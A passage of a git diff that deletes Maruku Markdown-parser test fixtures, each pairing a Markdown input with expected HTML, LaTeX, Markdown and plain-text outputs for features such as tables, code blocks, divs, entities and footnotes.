-		md_el(:head_cell,["h"],{},[]),
-		md_el(:cell,[" c1"],{},[[:ref, "t"]]),
-		md_el(:cell,["c2"],{},[])
-	],{:align=>[:left, :left]},[["summary", "Table summary"], [:class, "class1"], ["style", "color:red"]]),
-	md_el(:ald,[],{:ald=>[["scope", "row"]],:ald_id=>"t"},[])
-],{},[])
-*** Output of to_html ***
-<p class="class1" style="color:red">hello</p>
-<table class="class1" style="color:red" summary="Table summary"><thead><tr><th>h</th><th>h</th></tr></thead><tbody><tr><th scope="row" style="text-align: left;"> c1</th><td style="text-align: left;">c2</td></tr>
-</tbody></table>
-*** Output of to_latex ***
-hello
-
-\begin{tabular}{l|l}
-h&h\\
-\hline 
- c1&c2\\
-\end{tabular}
-*** Output of to_md ***
-hello
-
-hh c1c2
-*** Output of to_s ***
-hellohh c1c2
diff --git a/vendor/plugins/maruku/spec/block_docs/code.md b/vendor/plugins/maruku/spec/block_docs/code.md
deleted file mode 100644
index 1cfa8086..00000000
--- a/vendor/plugins/maruku/spec/block_docs/code.md
+++ /dev/null
@@ -1,39 +0,0 @@
-Comment
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Here is an example of AppleScript:
-
-    tell application "Foo"
-        beep
-    end tell
-    	tab
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Here is an example of AppleScript:"]),
-	md_el(:code,[],{:raw_code=>"tell application \"Foo\"\n    beep\nend tell\n\ttab"},[])
-],{},[])
-*** Output of to_html ***
-<p>Here is an example of AppleScript:</p>
-
-<pre><code>tell application "Foo"
-    beep
-end tell
-	tab</code></pre>
-*** Output of to_latex ***
-Here is an example of AppleScript:
-
-\begin{verbatim}tell application "Foo"
-    beep
-end tell
-	tab\end{verbatim}
-*** Output of to_md ***
-Here is an example of AppleScript:
-
-     tell application "Foo"
-         beep
-     end tell
-     	tab
-*** Output of to_s ***
-Here is an example of AppleScript:
diff --git a/vendor/plugins/maruku/spec/block_docs/code2.md b/vendor/plugins/maruku/spec/block_docs/code2.md
deleted file mode 100644
index 70f2f7b0..00000000
--- a/vendor/plugins/maruku/spec/block_docs/code2.md
+++ /dev/null
@@ -1,30 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-> Code
->
->     Ciao
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:quote,[md_par(["Code"]), md_el(:code,[],{:raw_code=>"Ciao"},[])],{},[])
-],{},[])
-*** Output of to_html ***
-<blockquote>
-<p>Code</p>
-
-<pre><code>Ciao</code></pre>
-</blockquote>
-*** Output of to_latex ***
-\begin{quote}%
-Code
-
-\begin{verbatim}Ciao\end{verbatim}
-
-\end{quote}
-*** Output of to_md ***
-> Code
-> 
->      Ciao
-*** Output of to_s ***
-Code
diff --git a/vendor/plugins/maruku/spec/block_docs/code3.md b/vendor/plugins/maruku/spec/block_docs/code3.md
deleted file mode 100644
index 18e34ab2..00000000
--- a/vendor/plugins/maruku/spec/block_docs/code3.md
+++ /dev/null
@@ -1,79 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-This is code (4 spaces):
-
-    Code
-This is not code
-    
-    Code
-
-This is code (1 tab):
-
-	Code
-This is not code
-
-	Code
-
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["This is code (4 spaces):"]),
-	md_el(:code,[],{:raw_code=>"Code"},[]),
-	md_par(["This is not code"]),
-	md_el(:code,[],{:raw_code=>"Code"},[]),
-	md_par(["This is code (1 tab):"]),
-	md_el(:code,[],{:raw_code=>"Code"},[]),
-	md_par(["This is not code"]),
-	md_el(:code,[],{:raw_code=>"Code"},[])
-],{},[])
-*** Output of to_html ***
-<p>This is code (4 spaces):</p>
-
-<pre><code>Code</code></pre>
-
-<p>This is not code</p>
-
-<pre><code>Code</code></pre>
-
-<p>This is code (1 tab):</p>
-
-<pre><code>Code</code></pre>
-
-<p>This is not code</p>
-
-<pre><code>Code</code></pre>
-*** Output of to_latex ***
-This is code (4 spaces):
-
-\begin{verbatim}Code\end{verbatim}
-This is not code
-
-\begin{verbatim}Code\end{verbatim}
-This is code (1 tab):
-
-\begin{verbatim}Code\end{verbatim}
-This is not code
-
-\begin{verbatim}Code\end{verbatim}
-*** Output of to_md ***
-This is code (4 spaces):
-
-     Code
-
-This is not code
-
-     Code
-
-This is code (1 tab):
-
-     Code
-
-This is not code
-
-     Code
-*** Output of to_s ***
-This is code (4 spaces):This is not codeThis is code (1 tab):This is not code
diff --git a/vendor/plugins/maruku/spec/block_docs/data_loss.md b/vendor/plugins/maruku/spec/block_docs/data_loss.md
deleted file mode 100644
index e668fd09..00000000
--- a/vendor/plugins/maruku/spec/block_docs/data_loss.md
+++ /dev/null
@@ -1,25 +0,0 @@
-Write a comment here
-*** Parameters: ***
-{} # params 
-*** Markdown input: ***
-1. abcd
-efgh
-ijkl
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:ol,[md_el(:li_span,["abcd efgh ijkl"],{:want_my_paragraph=>false},[])],{},[])
-],{},[])
-*** Output of to_html ***
-<ol>
-<li>abcd efgh ijkl</li>
-</ol>
-*** Output of to_latex ***
-\begin{enumerate}%
-\item abcd efgh ijkl
-
-\end{enumerate}
-*** Output of to_md ***
-1. abcd efgh ijkl
-*** Output of to_s ***
-abcd efgh ijkl
diff --git a/vendor/plugins/maruku/spec/block_docs/divs/div1.md b/vendor/plugins/maruku/spec/block_docs/divs/div1.md
deleted file mode 100644
index 0efbf620..00000000
--- a/vendor/plugins/maruku/spec/block_docs/divs/div1.md
+++ /dev/null
@@ -1,167 +0,0 @@
-Write a comment here
-*** Parameters: ***
-require 'maruku/ext/div'; {} # params 
-*** Markdown input: ***
-+---------
-| text
-+----------
-
-+---------
-|text
-
-+--
- text
- 
-=--
-
-
- +---------
- | text
- +----------
-
- +---------
- |text
-
- +--
- text
-
- =--
-
-
-  +---------
-  | text
-  +----------
-
-  +---------
-  |text
-
-  +--
-  text
-
-  =--
-
-   +---------
-   | text
-   +----------
-
-   +---------
-   |text
-
-   +--
-   text
-
-   =--
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[]),
-	md_el(:div,[md_par(["text"])],{:label=>nil,:num=>nil,:type=>nil},[])
-],{},[])
-*** Output of to_html ***
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-
-<div>
-<p>text</p>
-</div>
-*** Output of to_latex ***
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-*** Output of to_md ***
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-
-text
-*** Output of to_s ***
-texttexttexttexttexttexttexttexttexttexttexttext
diff --git a/vendor/plugins/maruku/spec/block_docs/divs/div2.md b/vendor/plugins/maruku/spec/block_docs/divs/div2.md
deleted file mode 100644
index f399337f..00000000
--- a/vendor/plugins/maruku/spec/block_docs/divs/div2.md
+++ /dev/null
@@ -1,21 +0,0 @@
-Write a comment here
-*** Parameters: ***
-require 'maruku/ext/div'; {} # params 
-*** Markdown input: ***
-+--
-ciao
-=--
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:div,[md_par(["ciao"])],{:label=>nil,:num=>nil,:type=>nil},[])
-],{},[])
-*** Output of to_html ***
-<div>
-<p>ciao</p>
-</div>
-*** Output of to_latex ***
-ciao
-*** Output of to_md ***
-ciao
-*** Output of to_s ***
-ciao
diff --git a/vendor/plugins/maruku/spec/block_docs/divs/div3_nest.md b/vendor/plugins/maruku/spec/block_docs/divs/div3_nest.md
deleted file mode 100644
index 9cbdb5a2..00000000
--- a/vendor/plugins/maruku/spec/block_docs/divs/div3_nest.md
+++ /dev/null
@@ -1,45 +0,0 @@
-Write a comment here
-*** Parameters: ***
-require 'maruku/ext/div'; {} # params 
-*** Markdown input: ***
-+-----------------------------------{.warning}------
-| this is the last warning!
-|
-| please, go away!
-|
-| +------------------------------------- {.menace} --
-| | or else terrible things will happen
-| +--------------------------------------------------
-+---------------------------------------------------
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:div,[
-		md_par(["this is the last warning!"]),
-		md_par(["please, go away!"]),
-		md_el(:div,[md_par(["or else terrible things will happen"])],{:label=>nil,:num=>nil,:type=>nil},[[:class, "menace"]])
-	],{:label=>nil,:num=>nil,:type=>nil},[[:class, "warning"]])
-],{},[])
-*** Output of to_html ***
-<div class="warning">
-<p>this is the last warning!</p>
-
-<p>please, go away!</p>
-
-<div class="menace">
-<p>or else terrible things will happen</p>
-</div>
-</div>
-*** Output of to_latex ***
-this is the last warning!
-
-please, go away!
-
-or else terrible things will happen
-*** Output of to_md ***
-this is the last warning!
-
-please, go away!
-
-or else terrible things will happen
-*** Output of to_s ***
-this is the last warning!please, go away!or else terrible things will happen
diff --git a/vendor/plugins/maruku/spec/block_docs/easy.md b/vendor/plugins/maruku/spec/block_docs/easy.md
deleted file mode 100644
index 18ec30b1..00000000
--- a/vendor/plugins/maruku/spec/block_docs/easy.md
+++ /dev/null
@@ -1,15 +0,0 @@
-Simple test for emphasis.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-*Hello!* how are **you**?
-*** Output of inspect ***
-md_el(:document,[md_par([md_em(["Hello!"]), " how are ", md_strong(["you"]), "?"])],{},[])
-*** Output of to_html ***
-<p><em>Hello!</em> how are <strong>you</strong>?</p>
-*** Output of to_latex ***
-\emph{Hello!} how are \textbf{you}?
-*** Output of to_md ***
-*Hello!* how are **you**?
-*** Output of to_s ***
-Hello! how are you?
diff --git a/vendor/plugins/maruku/spec/block_docs/email.md b/vendor/plugins/maruku/spec/block_docs/email.md
deleted file mode 100644
index d58e579d..00000000
--- a/vendor/plugins/maruku/spec/block_docs/email.md
+++ /dev/null
@@ -1,29 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-
-
-This is an email address: <andrea@invalid.it>
-	
-Address: <andrea@invalid.it>
-*** Output of inspect ***
-md_el(:document,[
-        md_par(["This is an email address: ", md_email("andrea@invalid.it")]),
-        md_par(["Address: ", md_email("andrea@invalid.it")])
-],{},[])
-*** Output of to_html ***
-<p>This is an email address: <a href="mailto:andrea@invalid.it">&#097;&#110;&#100;&#114;&#101;&#097;&#064;&#105;&#110;&#118;&#097;&#108;&#105;&#100;&#046;&#105;&#116;</a></p>
-
-<p>Address: <a href="mailto:andrea@invalid.it">&#097;&#110;&#100;&#114;&#101;&#097;&#064;&#105;&#110;&#118;&#097;&#108;&#105;&#100;&#046;&#105;&#116;</a></p>
-*** Output of to_latex ***
-This is an email address: \href{mailto:andrea@invalid.it}{andrea\char64invalid\char46it}
-
-Address: \href{mailto:andrea@invalid.it}{andrea\char64invalid\char46it}
-*** Output of to_md ***
-This is an email address:
-<andrea@invalid.it>
-
-Address: <andrea@invalid.it>
-*** Output of to_s ***
-This is an email address: Address:
diff --git a/vendor/plugins/maruku/spec/block_docs/encoding/iso-8859-1.md b/vendor/plugins/maruku/spec/block_docs/encoding/iso-8859-1.md
deleted file mode 100644
index b3833693..00000000
--- a/vendor/plugins/maruku/spec/block_docs/encoding/iso-8859-1.md
+++ /dev/null
@@ -1,22 +0,0 @@
-Encoding: iso-8859-1
-
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Encoding: iso-8859-1
-
-This is iso-8859-1: àèìàù.
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"This is iso-8859-1: \303\203\302\240\303\203\302\250\303\203\302\254\303\203\302\240\303\203\302\271."
-	])
-],{},[])
-*** Output of to_html ***
-<p>This is iso-8859-1: &#xC3;&#xA0;&#xC3;&#xA8;&#xC3;&#xAC;&#xC3;&#xA0;&#xC3;&#xB9;.</p>
-*** Output of to_latex ***
-This is iso-8859-1: àèìàù.
-*** Output of to_md ***
-This is iso-8859-1: àèìàù.
-*** Output of to_s ***
-This is iso-8859-1: àèìàù.
diff --git a/vendor/plugins/maruku/spec/block_docs/encoding/utf-8.md b/vendor/plugins/maruku/spec/block_docs/encoding/utf-8.md
deleted file mode 100644
index 7793188a..00000000
--- a/vendor/plugins/maruku/spec/block_docs/encoding/utf-8.md
+++ /dev/null
@@ -1,18 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:italian=>"\303\240\303\250\303\254\303\262\303\271."}
-*** Markdown input: ***
-Italian: àèìòù.
-
-Japanese: マルク
-
-*** Output of inspect ***
-md_el(:document,[md_par(["Japanese: \343\203\236\343\203\253\343\202\257"])],{},[])
-*** Output of to_html ***
-<p>Japanese: &#x30DE;&#x30EB;&#x30AF;</p>
-*** Output of to_latex ***
-Japanese: マルク
-*** Output of to_md ***
-Japanese: マルク
-*** Output of to_s ***
-Japanese: マルク
diff --git a/vendor/plugins/maruku/spec/block_docs/entities.md b/vendor/plugins/maruku/spec/block_docs/entities.md
deleted file mode 100644
index 2ac4f377..00000000
--- a/vendor/plugins/maruku/spec/block_docs/entities.md
+++ /dev/null
@@ -1,104 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{}
-*** Markdown input: ***
-Maruku translates HTML entities to the equivalent in LaTeX:
-
-Entity      | Result
-------------|----------
-`&copy;`    |  &copy;
-`&pound;`   |  &pound;
-`a&nbsp;b`  |  a&nbsp;b
-`&lambda;`  |  &lambda;
-`&mdash;`   |  &mdash;
-
-
-Entity-substitution does not happen in code blocks or inline code.
-
-The following should not be translated:
-
-	&copy;
-
-It should read like this: `&copy;`.
-
-
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Maruku translates HTML entities to the equivalent in LaTeX:"]),
-	md_el(:table,[
-		md_el(:head_cell,["Entity"],{},[]),
-		md_el(:head_cell,["Result"],{},[]),
-		md_el(:cell,[md_code("&copy;")],{},[]),
-		md_el(:cell,[md_entity("copy")],{},[]),
-		md_el(:cell,[md_code("&pound;")],{},[]),
-		md_el(:cell,[md_entity("pound")],{},[]),
-		md_el(:cell,[md_code("a&nbsp;b")],{},[]),
-		md_el(:cell,["a", md_entity("nbsp"), "b"],{},[]),
-		md_el(:cell,[md_code("&lambda;")],{},[]),
-		md_el(:cell,[md_entity("lambda")],{},[]),
-		md_el(:cell,[md_code("&mdash;")],{},[]),
-		md_el(:cell,[md_entity("mdash")],{},[])
-	],{:align=>[:left, :left]},[]),
-	md_par([
-		"Entity-substitution does not happen in code blocks or inline code."
-	]),
-	md_par(["The following should not be translated:"]),
-	md_el(:code,[],{:raw_code=>"&copy;"},[]),
-	md_par(["It should read like this: ", md_code("&copy;"), "."])
-],{},[])
-*** Output of to_html ***
-<p>Maruku translates HTML entities to the equivalent in LaTeX:</p>
-<table><thead><tr><th>Entity</th><th>Result</th></tr></thead><tbody><tr><td style="text-align: left;"><code>&amp;copy;</code></td><td style="text-align: left;">&#169;</td></tr>
-<tr><td style="text-align: left;"><code>&amp;pound;</code></td><td style="text-align: left;">&#163;</td></tr>
-<tr><td style="text-align: left;"><code>a&amp;nbsp;b</code></td><td style="text-align: left;">a&#160;b</td></tr>
-<tr><td style="text-align: left;"><code>&amp;lambda;</code></td><td style="text-align: left;">&#955;</td></tr>
-<tr><td style="text-align: left;"><code>&amp;mdash;</code></td><td style="text-align: left;">&#8212;</td></tr>
-</tbody></table>
-<p>Entity-substitution does not happen in code blocks or inline code.</p>
-
-<p>The following should not be translated:</p>
-
-<pre><code>&amp;copy;</code></pre>
-
-<p>It should read like this: <code>&amp;copy;</code>.</p>
-*** Output of to_latex ***
-Maruku translates HTML entities to the equivalent in \LaTeX\xspace :
-
-\begin{tabular}{l|l}
-Entity&Result\\
-\hline 
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char38copy\char59}}&\copyright{}\\
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char38pound\char59}}&\pounds{}\\
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt a\char38nbsp\char59b}}&a~{}b\\
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char38lambda\char59}}&$\lambda${}\\
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt \char38mdash\char59}}&---{}\\
-\end{tabular}
-
-Entity-substitution does not happen in code blocks or inline code.
-
-The following should not be translated:
-
-\begin{verbatim}&copy;\end{verbatim}
-It should read like this: {\colorbox[rgb]{1.00,0.93,1.00}{\tt \char38copy\char59}}.
-*** Output of to_md ***
-Maruku translates HTML entities to the
-equivalent in LaTeX:
-
-Entity      | Result
-------------|----------
-`&copy;`    |  &copy;
-`&pound;`   |  &pound;
-`a&nbsp;b`  |  a&nbsp;b
-`&lambda;`  |  &lambda;
-`&mdash;`   |  &mdash;
-
-
-Entity-substitution does not happen in code blocks or inline code.
-
-The following should not be translated:
-
-     &copy;
-
-It should read like this: `&copy;`.
-*** Output of to_s ***
-Maruku translates HTML entities to the equivalent in LaTeX:EntityResultabEntity-substitution does not happen in code blocks or inline code.The following should not be translated:It should read like this: .
diff --git a/vendor/plugins/maruku/spec/block_docs/escaping.md b/vendor/plugins/maruku/spec/block_docs/escaping.md
deleted file mode 100644
index cc508d4f..00000000
--- a/vendor/plugins/maruku/spec/block_docs/escaping.md
+++ /dev/null
@@ -1,68 +0,0 @@
-This should threat the last as a literal asterisk.
-*** Parameters: ***
-{:on_error=>:warning}
-*** Markdown input: ***
- Hello: ! \! \` \{ \} \[ \] \( \) \# \. \! * \* *
-
-
-Ora, *emphasis*, **bold**, * <- due asterischi-> * , un underscore-> _ , _emphasis_,
- incre*dible*e!
-
-This is ``Code with a special: -> ` <- ``(after)
-
-`Start ` of paragraph
-
-End of `paragraph `
-*** Output of inspect ***
-md_el(:document,[
-	md_par(["Hello: ! ! ` { } [ ] ( ) # . ! * * *"]),
-	md_par([
-		"Ora, ",
-		md_em(["emphasis"]),
-		", ",
-		md_strong(["bold"]),
-		", * <- due asterischi-> * , un underscore-> _ , ",
-		md_em(["emphasis"]),
-		", incre",
-		md_em(["dible"]),
-		"e!"
-	]),
-	md_par(["This is ", md_code("Code with a special: -> ` <-"), "(after)"]),
-	md_par([md_code("Start "), " of paragraph"]),
-	md_par(["End of ", md_code("paragraph ")])
-],{},[])
-*** Output of to_html ***
-<p>Hello: ! ! ` { } [ ] ( ) # . ! * * *</p>
-
-<p>Ora, <em>emphasis</em>, <strong>bold</strong>, * &lt;- due asterischi-&gt; * , un underscore-&gt; _ , <em>emphasis</em>, incre<em>dible</em>e!</p>
-
-<p>This is <code>Code with a special: -&gt; ` &lt;-</code>(after)</p>
-
-<p><code>Start </code> of paragraph</p>
-
-<p>End of <code>paragraph </code></p>
-*** Output of to_latex ***
-Hello: ! ! ` \{ \} [ ] ( ) \# . ! * * *
-
-Ora, \emph{emphasis}, \textbf{bold}, * {\tt \char60}- due asterischi-{\tt \char62} * , un underscore-{\tt \char62} \_ , \emph{emphasis}, incre\emph{dible}e!
-
-This is {\colorbox[rgb]{1.00,0.93,1.00}{\tt Code~with~a~special\char58~\char45\char62~\char96~\char60\char45}}(after)
-
-{\colorbox[rgb]{1.00,0.93,1.00}{\tt Start~}} of paragraph
-
-End of {\colorbox[rgb]{1.00,0.93,1.00}{\tt paragraph~}}
-*** Output of to_md ***
-Hello: ! \! \` \{ \} \[ \] \( \) \# \. \! * \* *
-
-
-Ora, *emphasis*, **bold**, * <- due
-asterischi-> * , un underscore-> _ ,
-*emphasis*, incre*dible*e!
-
-This is ``Code with a special: -> ` <- ``(after)
-
-`Start ` of paragraph
-
-End of `paragraph `
-*** Output of to_s ***
-Hello: ! ! ` { } [ ] ( ) # . ! * * *Ora, emphasis, bold, * <- due asterischi-> * , un underscore-> _ , emphasis, incrediblee!This is (after) of paragraphEnd of
diff --git a/vendor/plugins/maruku/spec/block_docs/extra_dl.md b/vendor/plugins/maruku/spec/block_docs/extra_dl.md
deleted file mode 100644
index 30c6483c..00000000
--- a/vendor/plugins/maruku/spec/block_docs/extra_dl.md
+++ /dev/null
@@ -1,52 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:css=>"style.css"}
-*** Markdown input: ***
-CSS: style.css
-
-
-Apple
-:   Pomaceous fruit of plants of the genus Malus in 
-    the family Rosaceae.
-
-Orange
-:   The fruit of an evergreen tree of the genus Citrus.
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:definition_list,[
-		md_el(:definition,[
-			md_el(:definition_term,["Apple"],{},[]),
-			md_el(:definition_data,[
-				"Pomaceous fruit of plants of the genus Malus in the family Rosaceae."
-			],{},[])
-		],{:definitions=>[md_el(:definition_data,[
-			"Pomaceous fruit of plants of the genus Malus in the family Rosaceae."
-		],{},[])],:terms=>[md_el(:definition_term,["Apple"],{},[])],:want_my_paragraph=>false},[]),
-		md_el(:definition,[
-			md_el(:definition_term,["Orange"],{},[]),
-			md_el(:definition_data,["The fruit of an evergreen tree of the genus Citrus."],{},[])
-		],{:definitions=>[md_el(:definition_data,["The fruit of an evergreen tree of the genus Citrus."],{},[])],:terms=>[md_el(:definition_term,["Orange"],{},[])],:want_my_paragraph=>false},[])
-	],{},[])
-],{},[])
-*** Output of to_html ***
-<dl>
-<dt>Apple</dt>
-
-<dd>Pomaceous fruit of plants of the genus Malus in the family Rosaceae.</dd>
-
-<dt>Orange</dt>
-
-<dd>The fruit of an evergreen tree of the genus Citrus.</dd>
-</dl>
-*** Output of to_latex ***
-\begin{description}
-
-\item[Apple] Pomaceous fruit of plants of the genus Malus in the family Rosaceae. 
-
-\item[Orange] The fruit of an evergreen tree of the genus Citrus. 
-\end{description}
-*** Output of to_md ***
-ApplePomaceous fruit of plants of the genus Malus in the family Rosaceae.OrangeThe fruit of an evergreen tree of the genus Citrus.
-*** Output of to_s ***
-ApplePomaceous fruit of plants of the genus Malus in the family Rosaceae.OrangeThe fruit of an evergreen tree of the genus Citrus.
diff --git a/vendor/plugins/maruku/spec/block_docs/extra_header_id.md b/vendor/plugins/maruku/spec/block_docs/extra_header_id.md
deleted file mode 100644
index 97cc086e..00000000
--- a/vendor/plugins/maruku/spec/block_docs/extra_header_id.md
+++ /dev/null
@@ -1,69 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:title=>"Header 1"}
-*** Markdown input: ***
-Header 1            {#header1}
-========
-
-Header 2            {#header2}
---------
-
-### Header 3 ###      {#header3}
-
-Then you can create links to different parts of the same document like this:
-
-[Link back to header 1](#header1),
-[Link back to header 2](#header2),
-[Link back to header 3](#header3)
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:header,["Header 1"],{:level=>1},[[:id, "header1"]]),
-	md_el(:header,["Header 2"],{:level=>2},[[:id, "header2"]]),
-	md_el(:header,["Header 3"],{:level=>3},[[:id, "header3"]]),
-	md_par([
-		"Then you can create links to different parts of the same document like this:"
-	]),
-	md_par([
-		md_im_link(["Link back to header 1"], "#header1", nil),
-		", ",
-		md_im_link(["Link back to header 2"], "#header2", nil),
-		", ",
-		md_im_link(["Link back to header 3"], "#header3", nil)
-	])
-],{},[])
-*** Output of to_html ***
-<h1 id="header1">Header 1</h1>
-
-<h2 id="header2">Header 2</h2>
-
-<h3 id="header3">Header 3</h3>
-
-<p>Then you can create links to different parts of the same document like this:</p>
-
-<p><a href="#header1">Link back to header 1</a>, <a href="#header2">Link back to header 2</a>, <a href="#header3">Link back to header 3</a></p>
-*** Output of to_latex ***
-\hypertarget{header1}{}\section*{{Header 1}}\label{header1}
-
-\hypertarget{header2}{}\subsection*{{Header 2}}\label{header2}
-
-\hypertarget{header3}{}\subsubsection*{{Header 3}}\label{header3}
-
-Then you can create links to different parts of the same document like this:
-
-\hyperlink{header1}{Link back to header 1}, \hyperlink{header2}{Link back to header 2}, \hyperlink{header3}{Link back to header 3}
-*** Output of to_md ***
-# Header 1 #
-
-## Header 2 ##
-
-### Header 3 ###
-
-Then you can create links to different
-parts of the same document like this:
-
-[Link back to header 1](#header1),
-[Link back to header 2](#header2),
-[Link back to header 3](#header3)
-*** Output of to_s ***
-Header 1Header 2Header 3Then you can create links to different parts of the same document like this:Link back to header 1, Link back to header 2, Link back to header 3
diff --git a/vendor/plugins/maruku/spec/block_docs/extra_table1.md b/vendor/plugins/maruku/spec/block_docs/extra_table1.md
deleted file mode 100644
index b9e9b21c..00000000
--- a/vendor/plugins/maruku/spec/block_docs/extra_table1.md
+++ /dev/null
@@ -1,37 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:css=>"style.css"}
-*** Markdown input: ***
-CSS: style.css
-
-First Header  | Second Header
-------------- | -------------
-Content Cell  | Content Cell
-Content Cell  | Content Cell
-
-*** Output of inspect ***
-md_el(:document,[
-	md_el(:table,[
-		md_el(:head_cell,["First Header"],{},[]),
-		md_el(:head_cell,["Second Header"],{},[]),
-		md_el(:cell,["Content Cell"],{},[]),
-		md_el(:cell,["Content Cell"],{},[]),
-		md_el(:cell,["Content Cell"],{},[]),
-		md_el(:cell,["Content Cell"],{},[])
-	],{:align=>[:left, :left]},[])
-],{},[])
-*** Output of to_html ***
-<table><thead><tr><th>First Header</th><th>Second Header</th></tr></thead><tbody><tr><td style="text-align: left;">Content Cell</td><td style="text-align: left;">Content Cell</td></tr>
-<tr><td style="text-align: left;">Content Cell</td><td style="text-align: left;">Content Cell</td></tr>
-</tbody></table>
-*** Output of to_latex ***
-\begin{tabular}{l|l}
-First Header&Second Header\\
-\hline 
-Content Cell&Content Cell\\
-Content Cell&Content Cell\\
-\end{tabular}
-*** Output of to_md ***
-First HeaderSecond HeaderContent CellContent CellContent CellContent Cell
-*** Output of to_s ***
-First HeaderSecond HeaderContent CellContent CellContent CellContent Cell
diff --git a/vendor/plugins/maruku/spec/block_docs/footnotes.md b/vendor/plugins/maruku/spec/block_docs/footnotes.md
deleted file mode 100644
index c6cdd1ac..00000000
--- a/vendor/plugins/maruku/spec/block_docs/footnotes.md
+++ /dev/null
@@ -1,97 +0,0 @@
-Write a comment abouth the test here.
-*** Parameters: ***
-{:footnotes_used=>["^b", "^c", "^a"]}
-*** Markdown input: ***
-That's some text with a footnote [^b] and another [^c] and another [^a].
-
-[^a]: And that's the footnote.
-
-    That's the second paragraph of the footnote.
-
-
-[^b]: And that's the footnote.
-This is second sentence (same paragraph).
-
-[^c]:
-    This is the very long one.
-
-    That's the second paragraph.
-
-
-This is not a footnote.
-*** Output of inspect ***
-md_el(:document,[
-	md_par([
-		"That",
-		md_entity("rsquo"),
-		"s some text with a footnote ",
-		md_foot_ref("^b"),
-		" and another ",
-		md_foot_ref("^c"),
-		" and another ",
-		md_foot_ref("^a"),
-		"."
-	]),
-	md_el(:footnote,[
-		md_par(["And that", md_entity("rsquo"), "s the footnote."]),
-		md_par([
-			"That",
-			md_entity("rsquo"),
-			"s the second paragraph of the footnote."
-		])
-	],{:footnote_id=>"^a"},[]),
-	md_el(:footnote,[
-		md_par([
-			"And that",
-			md_entity("rsquo"),
-			"s the footnote. This is second sentence (same paragraph)."
-		])
-	],{:footnote_id=>"^b"},[]),
-	md_el(:footnote,[
-		md_par(["This is the very long one."]),
-		md_par(["That", md_entity("rsquo"), "s the second paragraph."])
-	],{:footnote_id=>"^c"},[]),
-	md_par(["This is not a footnote."])
-],{},[])
-*** Output of to_html ***
-<p>That&#8217;s some text with a footnote <sup id="fnref:1"><a href="#fn:1" rel="footnote">1</a></sup> and another <sup id="fnref:2"><a href="#fn:2" rel="footnote">2</a></sup> and another <sup id="fnref:3"><a href="#fn:3" rel="footnote">3</a></sup>.</p>
-
-<p>This is not a footnote.</p>
-<div class="footnotes"><hr /><ol><li id="fn:1">
-<p>And that&#8217;s the footnote. This is second sentence (same paragraph). <a href="#fnref:1" rev="footnote">&#8617;</a></p>
-</li><li id="fn:2">
-<p>This is the very long one.</p>
-
-<p>That&#8217;s the second paragraph. <a href="#fnref:2" rev="footnote">&#8617;</a></p>
-</li><li id="fn:3">
-<p>And that&#8217;s the footnote.</p>
-
-<p>That&#8217;s the second paragraph of the footnote. <a href="#fnref:3" rev="footnote">&#8617;</a></p>
-</li></ol></div>
-*** Output of to_latex ***
-That'{}s some text with a footnote \footnote{And that'{}s the footnote. This is second sentence (same paragraph).}  and another \footnote{This is the very long one.
-
-That'{}s the second paragraph.}  and another \footnote{And that'{}s the footnote.
-
-That'{}s the second paragraph of the footnote.} .
-
-This is not a footnote.
-*** Output of to_md ***
-That s some text with a footnote and
-another and another .
-
-And that s the footnote.
-
-That s the second paragraph of the
-footnote.
-
-And that s the footnote. This is second
